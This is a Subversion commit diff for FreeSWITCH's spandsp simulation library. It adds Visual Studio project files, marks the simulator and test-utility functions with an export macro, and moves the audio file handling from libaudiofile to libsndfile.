+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc8proj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,94 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="libspandsp_sim"
+	ProjectGUID="{1CBB0077-18C5-455F-801C-0A0CE7B0BBF5}"
+	RootNamespace="libspandsp_sim"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+  <Platforms>
+    <Platform
+			Name="Win32"
+		/>
+  </Platforms>
+  <ToolFiles>
+  </ToolFiles>
+  <Configurations>
+    <Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+    <Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+      <Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+      <Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+    </Configuration>
+  </Configurations>
+  <References>
+  </References>
+  <Files>
+    <Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>

Deleted: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.foot

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.foot (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc/vc9proj.foot) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.foot	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.foot	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,5 @@
+		</Filter>
+	</Files>
+	<Globals>
+	</Globals>
+</VisualStudioProject>

Deleted: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.head

Copied: freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.head (from rev 14471, freeswitch/trunk/libs/spandsp/spandsp-sim/msvc/vc9proj.head) (0 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.head	                        (rev 0)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/msvc/vc9proj.head	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,254 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioProject
+	ProjectType="Visual C++"
+	Version="9.00"
+	Name="libspandsp_sim"
+	ProjectGUID="{502F1E51-F0A0-4607-AB7F-05BAB530AAE1}"
+	RootNamespace="libspandsp_sim"
+	Keyword="Win32Proj"
+	TargetFrameworkVersion="131072"
+	>
+	<Platforms>
+		<Platform
+			Name="Win32"
+		/>
+		<Platform
+			Name="x64"
+		/>
+	</Platforms>
+	<ToolFiles>
+	</ToolFiles>
+	<Configurations>
+		<Configuration
+			Name="Debug|Win32"
+			OutputDirectory="$(SolutionDir)Debug"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="4"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Debug\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|Win32"
+			OutputDirectory="$(SolutionDir)Release"
+			IntermediateDirectory="$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			WholeProgramOptimization="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="./Release\spandsp_sim.lib"
+				TargetMachine="1"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			>
+			<Tool
+				Name="VCCLCompilerTool"
+				Optimization="0"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;_DEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				MinimalRebuild="true"
+				BasicRuntimeChecks="3"
+				RuntimeLibrary="3"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				CompileAs="1"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="2"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp_sim.lib"
+				TargetMachine="17"
+			/>
+		</Configuration>
+		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(SolutionDir)$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			CharacterSet="1"
+			BuildLogFile="$(IntDir)\BuildLog $(ProjectName).htm"
+			WholeProgramOptimization="1"
+			>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories=".;..\src\spandsp;..\src;..\src\msvc;..\..\tiff-3.8.2\libtiff"
+				PreprocessorDefinitions="WIN32;NDEBUG;_WINDOWS;_USRDLL;LIBSPANDSP_EXPORTS;_CRT_SECURE_NO_DEPRECATE;_CRT_NONSTDC_NO_DEPRECATE;HAVE_CONFIG_H"
+				RuntimeLibrary="2"
+				UsePrecompiledHeader="0"
+				ProgramDataBaseFileName="$(IntDir)\$(TargetName).pdb"
+				WarningLevel="4"
+				DebugInformationFormat="3"
+				DisableSpecificWarnings="4127"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				LinkIncremental="1"
+				GenerateDebugInformation="true"
+				SubSystem="2"
+				OptimizeReferences="2"
+				EnableCOMDATFolding="2"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				ImportLibrary="$(TargetDir)spandsp_sim.lib"
+				TargetMachine="17"
+			/>
+		</Configuration>
+	</Configurations>
+	<References>
+	</References>
+	<Files>
+		<Filter
+			Name="Source Files"
+			Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
+			UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
+			>

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/rfc2198_sim.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/rfc2198_sim.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/rfc2198_sim.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: rfc2198_sim.c,v 1.6 2008/07/02 14:48:25 steveu Exp $
+ * $Id: rfc2198_sim.c,v 1.10 2009/06/01 16:27:12 steveu Exp $
  */
 
 #if defined(HAVE_CONFIG_H)
@@ -36,8 +36,6 @@
 #include <time.h>
 #include <stdio.h>
 #include <fcntl.h>
-#include <audiofile.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
@@ -45,6 +43,7 @@
 #define GEN_CONST
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 
 #include "spandsp.h"
 #include "spandsp/g1050.h"
@@ -55,11 +54,11 @@
 #define FALSE 0
 #define TRUE (!FALSE)
 
-rfc2198_sim_state_t *rfc2198_sim_init(int model,
-                                      int speed_pattern,
-                                      int packet_size,
-                                      int packet_rate,
-                                      int redundancy_depth)
+SPAN_DECLARE(rfc2198_sim_state_t *) rfc2198_sim_init(int model,
+                                                     int speed_pattern,
+                                                     int packet_size,
+                                                     int packet_rate,
+                                                     int redundancy_depth)
 {
     rfc2198_sim_state_t *s;
 
@@ -73,11 +72,11 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int rfc2198_sim_put(rfc2198_sim_state_t *s,
-                    const uint8_t buf[],
-                    int len,
-                    int seq_no,
-                    double departure_time)
+SPAN_DECLARE(int) rfc2198_sim_put(rfc2198_sim_state_t *s,
+                                  const uint8_t buf[],
+                                  int len,
+                                  int seq_no,
+                                  double departure_time)
 {
     uint8_t buf2[8192];
     uint8_t *p;
@@ -110,19 +109,23 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-int rfc2198_sim_get(rfc2198_sim_state_t *s,
-                    uint8_t buf[],
-                    int max_len,
-                    double current_time,
-                    int *seq_no,
-                    double *departure_time,
-                    double *arrival_time)
+SPAN_DECLARE(int) rfc2198_sim_get(rfc2198_sim_state_t *s,
+                                  uint8_t buf[],
+                                  int max_len,
+                                  double current_time,
+                                  int *seq_no,
+                                  double *departure_time,
+                                  double *arrival_time)
 {
     int len;
     int lenx;
     int seq_nox;
     int i;
+#if defined(_MSC_VER)
+    uint8_t *bufx = (uint8_t *) _alloca(s->redundancy_depth*1024);
+#else
     uint8_t bufx[s->redundancy_depth*1024];
+#endif
     uint8_t *p;
     uint16_t *q;
     int redundancy_depth;

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/g1050.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/g1050.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/g1050.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: g1050.h,v 1.8 2008/09/09 16:13:12 steveu Exp $
+ * $Id: g1050.h,v 1.12 2009/06/01 16:27:12 steveu Exp $
  */
 
 /*! \file */
@@ -39,7 +39,7 @@
  - a distant LAN (wired or wireless)
 The impairments typical of these segments at various service levels are modelled.
 8 standard service level behaviours are defined, covering lightly loaded to heavily
-congested levels. 133 standard sets of link speeds are defined, covering typical
+congested levels. 168 standard sets of link speeds are defined, covering typical
 wired and wireless LAN, broadband access link, and backbone characteristics.
 
 The G.1050 model is suitable for testing the behaviour of RTP, UDPTL and other streaming
@@ -261,7 +261,7 @@
 } g1050_state_t;
 
 extern g1050_constants_t g1050_constants[1];
-extern g1050_channel_speeds_t g1050_speed_patterns[133];
+extern g1050_channel_speeds_t g1050_speed_patterns[168];
 extern g1050_model_t g1050_standard_models[9];
 
 #ifdef  __cplusplus
@@ -269,28 +269,28 @@
 {
 #endif
 
-g1050_state_t *g1050_init(int model,
-                          int speed_pattern,
-                          int packet_size,
-                          int packet_rate);
+SPAN_DECLARE(g1050_state_t *) g1050_init(int model,
+                                         int speed_pattern,
+                                         int packet_size,
+                                         int packet_rate);
 
-void g1050_dump_parms(int model, int speed_pattern);
+SPAN_DECLARE(void) g1050_dump_parms(int model, int speed_pattern);
 
-int g1050_put(g1050_state_t *s,
-              const uint8_t buf[],
-              int len,
-              int seq_no,
-              double departure_time);
+SPAN_DECLARE(int) g1050_put(g1050_state_t *s,
+                            const uint8_t buf[],
+                            int len,
+                            int seq_no,
+                            double departure_time);
 
-int g1050_get(g1050_state_t *s,
-              uint8_t buf[],
-              int max_len,
-              double current_time,
-              int *seq_no,
-              double *departure_time,
-              double *arrival_time);
+SPAN_DECLARE(int) g1050_get(g1050_state_t *s,
+                            uint8_t buf[],
+                            int max_len,
+                            double current_time,
+                            int *seq_no,
+                            double *departure_time,
+                            double *arrival_time);
 
-void g1050_queue_dump(g1050_state_t *s);
+SPAN_DECLARE(void) g1050_queue_dump(g1050_state_t *s);
 
 #ifdef  __cplusplus
 }

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/line_model.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/line_model.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/line_model.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: line_model.h,v 1.3 2008/04/17 18:03:23 steveu Exp $
+ * $Id: line_model.h,v 1.6 2009/05/31 14:47:10 steveu Exp $
  */
 
 /*! \file */
@@ -56,6 +56,9 @@
 #if !defined(_SPANDSP_LINE_MODEL_H_)
 #define _SPANDSP_LINE_MODEL_H_
 
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
+#include <spandsp.h>
+
 #define LINE_FILTER_SIZE 129
 
 /*!
@@ -129,38 +132,38 @@
 {
 #endif
 
-void both_ways_line_model(both_ways_line_model_state_t *s, 
-                          int16_t output1[],
-                          const int16_t input1[],
-                          int16_t output2[],
-                          const int16_t input2[],
-                          int samples);
+SPAN_DECLARE(void) both_ways_line_model(both_ways_line_model_state_t *s, 
+                                        int16_t output1[],
+                                        const int16_t input1[],
+                                        int16_t output2[],
+                                        const int16_t input2[],
+                                        int samples);
 
-void both_ways_line_model_set_dc(both_ways_line_model_state_t *s, float dc1, float dc2);
+SPAN_DECLARE(void) both_ways_line_model_set_dc(both_ways_line_model_state_t *s, float dc1, float dc2);
 
-void both_ways_line_model_set_mains_pickup(both_ways_line_model_state_t *s, int f, float level1, float level2);
+SPAN_DECLARE(void) both_ways_line_model_set_mains_pickup(both_ways_line_model_state_t *s, int f, float level1, float level2);
     
-both_ways_line_model_state_t *both_ways_line_model_init(int model1,
-                                                        float noise1,
-                                                        int model2,
-                                                        float noise2,
-                                                        int codec,
-                                                        int rbs_pattern);
+SPAN_DECLARE(both_ways_line_model_state_t *) both_ways_line_model_init(int model1,
+                                                                       float noise1,
+                                                                       int model2,
+                                                                       float noise2,
+                                                                       int codec,
+                                                                       int rbs_pattern);
 
-int both_ways_line_model_release(both_ways_line_model_state_t *s);
+SPAN_DECLARE(int) both_ways_line_model_release(both_ways_line_model_state_t *s);
 
-void one_way_line_model(one_way_line_model_state_t *s, 
-                        int16_t output[],
-                        const int16_t input[],
-                        int samples);
+SPAN_DECLARE(void) one_way_line_model(one_way_line_model_state_t *s, 
+                                      int16_t output[],
+                                      const int16_t input[],
+                                      int samples);
 
-void one_way_line_model_set_dc(one_way_line_model_state_t *s, float dc);
+SPAN_DECLARE(void) one_way_line_model_set_dc(one_way_line_model_state_t *s, float dc);
 
-void one_way_line_model_set_mains_pickup(one_way_line_model_state_t *s, int f, float level);
+SPAN_DECLARE(void) one_way_line_model_set_mains_pickup(one_way_line_model_state_t *s, int f, float level);
 
-one_way_line_model_state_t *one_way_line_model_init(int model, float noise, int codec, int rbs_pattern);
+SPAN_DECLARE(one_way_line_model_state_t *) one_way_line_model_init(int model, float noise, int codec, int rbs_pattern);
 
-int one_way_line_model_release(one_way_line_model_state_t *s);
+SPAN_DECLARE(int) one_way_line_model_release(one_way_line_model_state_t *s);
 
 #ifdef __cplusplus
 }

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/rfc2198_sim.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/rfc2198_sim.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/rfc2198_sim.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: rfc2198_sim.h,v 1.4 2008/09/09 16:13:12 steveu Exp $
+ * $Id: rfc2198_sim.h,v 1.6 2009/05/31 14:47:10 steveu Exp $
  */
 
 /*! \file */
@@ -69,25 +69,25 @@
 {
 #endif
 
-rfc2198_sim_state_t *rfc2198_sim_init(int model,
-                                      int speed_pattern,
-                                      int packet_size,
-                                      int packet_rate,
-                                      int redundancy_depth);
+SPAN_DECLARE(rfc2198_sim_state_t *) rfc2198_sim_init(int model,
+                                                     int speed_pattern,
+                                                     int packet_size,
+                                                     int packet_rate,
+                                                     int redundancy_depth);
 
-int rfc2198_sim_put(rfc2198_sim_state_t *s,
-                    const uint8_t buf[],
-                    int len,
-                    int seq_no,
-                    double departure_time);
+SPAN_DECLARE(int) rfc2198_sim_put(rfc2198_sim_state_t *s,
+                                  const uint8_t buf[],
+                                  int len,
+                                  int seq_no,
+                                  double departure_time);
 
-int rfc2198_sim_get(rfc2198_sim_state_t *s,
-                    uint8_t buf[],
-                    int max_len,
-                    double current_time,
-                    int *seq_no,
-                    double *departure_time,
-                    double *arrival_time);
+SPAN_DECLARE(int) rfc2198_sim_get(rfc2198_sim_state_t *s,
+                                  uint8_t buf[],
+                                  int max_len,
+                                  double current_time,
+                                  int *seq_no,
+                                  double *departure_time,
+                                  double *arrival_time);
 
 #ifdef  __cplusplus
 }

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/test_utils.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/test_utils.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/spandsp/test_utils.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: test_utils.h,v 1.5 2008/08/29 09:28:13 steveu Exp $
+ * $Id: test_utils.h,v 1.9 2009/05/31 14:47:10 steveu Exp $
  */
 
 /*! \file */
@@ -30,6 +30,8 @@
 #if !defined(_TEST_UTILS_H_)
 #define _TEST_UTILS_H_
 
+#include <sndfile.h>
+
 enum
 {
     MUNGE_CODEC_NONE = 0,
@@ -49,25 +51,25 @@
 extern "C" {
 #endif
 
-complexify_state_t *complexify_init(void);
+SPAN_DECLARE(complexify_state_t *) complexify_init(void);
 
-void complexify_release(complexify_state_t *s);
+SPAN_DECLARE(void) complexify_release(complexify_state_t *s);
 
-complexf_t complexify(complexify_state_t *s, int16_t amp);
+SPAN_DECLARE(complexf_t) complexify(complexify_state_t *s, int16_t amp);
 
-void fft(complex_t data[], int len);
+SPAN_DECLARE(void) fft(complex_t data[], int len);
 
-void ifft(complex_t data[], int len);
+SPAN_DECLARE(void) ifft(complex_t data[], int len);
 
-codec_munge_state_t *codec_munge_init(int codec, int info);
+SPAN_DECLARE(codec_munge_state_t *) codec_munge_init(int codec, int info);
 
-void codec_munge_release(codec_munge_state_t *s);
+SPAN_DECLARE(void) codec_munge_release(codec_munge_state_t *s);
 
-void codec_munge(codec_munge_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE(void) codec_munge(codec_munge_state_t *s, int16_t amp[], int len);
 
-AFfilehandle afOpenFile_telephony_read(const char *name, int channels);
+SPAN_DECLARE(SNDFILE *) sf_open_telephony_read(const char *name, int channels);
 
-AFfilehandle afOpenFile_telephony_write(const char *name, int channels);
+SPAN_DECLARE(SNDFILE *) sf_open_telephony_write(const char *name, int channels);
 
 #ifdef __cplusplus
 }

Modified: freeswitch/branches/seven/libs/spandsp/spandsp-sim/test_utils.c (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/spandsp-sim/test_utils.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/spandsp-sim/test_utils.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: test_utils.c,v 1.8 2008/08/29 09:28:13 steveu Exp $
+ * $Id: test_utils.c,v 1.14 2009/06/01 16:27:12 steveu Exp $
  */
 
 /*! \file */
@@ -35,17 +35,18 @@
 #include <inttypes.h>
 #include <string.h>
 #include <stdio.h>
-#include "floating_fudge.h"
 #if defined(HAVE_TGMATH_H)
 #include <tgmath.h>
 #endif
 #if defined(HAVE_MATH_H)
 #include <math.h>
 #endif
+#include "floating_fudge.h"
 #include <time.h>
 #include <fcntl.h>
-#include <audiofile.h>
+#include <sndfile.h>
 
+#define SPANDSP_EXPOSE_INTERNAL_STRUCTURES
 #include "spandsp.h"
 #include "spandsp-sim.h"
 
@@ -71,7 +72,7 @@
 static complex_t icircle[MAX_FFT_LEN/2];
 static int icircle_init = FALSE;
 
-complexify_state_t *complexify_init(void)
+SPAN_DECLARE(complexify_state_t *) complexify_init(void)
 {
     complexify_state_t *s;
     int i;
@@ -86,13 +87,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void complexify_release(complexify_state_t *s)
+SPAN_DECLARE(void) complexify_release(complexify_state_t *s)
 {
     free(s);
 }
 /*- End of function --------------------------------------------------------*/
 
-complexf_t complexify(complexify_state_t *s, int16_t amp)
+SPAN_DECLARE(complexf_t) complexify(complexify_state_t *s, int16_t amp)
 {
 #define HILBERT_GAIN    1.569546344
     static const float hilbert_coeffs[] =
@@ -220,7 +221,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void fft(complex_t data[], int len)
+SPAN_DECLARE(void) fft(complex_t data[], int len)
 {
     int i;
     double x;
@@ -240,7 +241,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void ifft(complex_t data[], int len)
+SPAN_DECLARE(void) ifft(complex_t data[], int len)
 {
     int i;
     double x;
@@ -260,7 +261,7 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-codec_munge_state_t *codec_munge_init(int codec, int info)
+SPAN_DECLARE(codec_munge_state_t *) codec_munge_init(int codec, int info)
 {
     codec_munge_state_t *s;
     
@@ -299,13 +300,13 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-void codec_munge_release(codec_munge_state_t *s)
+SPAN_DECLARE(void) codec_munge_release(codec_munge_state_t *s)
 {
     free(s);
 }
 /*- End of function --------------------------------------------------------*/
 
-void codec_munge(codec_munge_state_t *s, int16_t amp[], int len)
+SPAN_DECLARE(void) codec_munge(codec_munge_state_t *s, int16_t amp[], int len)
 {
     uint8_t law;
     uint8_t adpcmdata[160];
@@ -350,57 +351,50 @@
 }
 /*- End of function --------------------------------------------------------*/
 
-AFfilehandle afOpenFile_telephony_read(const char *name, int channels)
+SPAN_DECLARE(SNDFILE *) sf_open_telephony_read(const char *name, int channels)
 {
-    float x;
-    AFfilehandle handle;
+    SNDFILE *handle;
+    SF_INFO info;
 
-    if ((handle = afOpenFile(name, "r", 0)) == AF_NULL_FILEHANDLE)
+    memset(&info, 0, sizeof(info));
+    if ((handle = sf_open(name, SFM_READ, &info)) == NULL)
     {
-        fprintf(stderr, "    Cannot open wave file '%s'\n", name);
+        fprintf(stderr, "    Cannot open audio file '%s' for reading\n", name);
         exit(2);
     }
-    if ((x = afGetFrameSize(handle, AF_DEFAULT_TRACK, 1)) != 2.0)
+    if (info.samplerate != SAMPLE_RATE)
     {
-        fprintf(stderr, "    Unexpected frame size in wave file '%s'\n", name);
+        printf("    Unexpected sample rate in audio file '%s'\n", name);
         exit(2);
     }
-    if ((x = afGetRate(handle, AF_DEFAULT_TRACK)) != (float) SAMPLE_RATE)
+    if (info.channels != channels)
     {
-        printf("    Unexpected sample rate in wave file '%s'\n", name);
+        printf("    Unexpected number of channels in audio file '%s'\n", name);
         exit(2);
     }
-    if ((x = afGetChannels(handle, AF_DEFAULT_TRACK)) != (float) channels)
-    {
-        printf("    Unexpected number of channels in wave file '%s'\n", name);
-        exit(2);
-    }
 
     return handle;
 }
 /*- End of function --------------------------------------------------------*/
 
